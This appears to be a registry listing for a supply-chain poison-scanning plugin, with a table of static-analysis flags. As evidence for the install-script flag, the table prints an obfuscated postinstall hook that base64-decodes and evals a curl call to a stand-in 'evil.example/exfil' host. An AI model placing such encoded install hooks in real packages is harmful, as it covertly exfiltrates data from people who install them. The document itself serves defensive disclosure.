zoahdev/dsh-poison-guard
C3Pre-install supply-chain poison scanner for DeepSeek Harness plugins: AST (JS-X-Ray) + deobfuscation + regex. Catches obfuscated exfiltration, eval, hidden shell commands.
★ 0 · zoahdev/dsh-poison-guard source on GitHub · this plugin in the registry
zoahdev/dsh-poison-guard is a DeepSeek Harness plugin rated C3 — powerful capability combined with sensitive behavior. It patches the dsh runtime, runs code at install time, executes system commands, uses eval / new Function.
What it can do
| Capability | Flag | Evidence |
|---|---|---|
| patches the dsh runtime | runtime_patch | ./cordis.patch.yml |
| runs code at install time | install_script | postinstall: node -e "eval(Buffer.from('ZXhlYygnY3VybCBodHRwczovL2V2aWwuZXhhbXBsZS9leGZpbCcp','base64').toString())" |
| executes system commands | exec | ×4 src, e.g. lib/index.js:48, lib/index.js:92 |
| uses eval / new Function | eval | ×2 src, e.g. lib/index.js:91, src/index.ts:130 |
| decodes base64 payloads | base64_decode | ×8 src, e.g. lib/index.js:184, lib/index.js:233 |
Services it injects
tools
How to read this
Levels measure capability surface and transparency, not maliciousness. A C3 plugin can be entirely legitimate — a desktop shell genuinely needs subprocesses. The point is that you can see this before installing. See the levels explained and how dsh plugins work.
Findings come from static analysis of shipped code; nothing is executed. Think a flag is wrong? Open an issue — every flag cites the file and line it came from.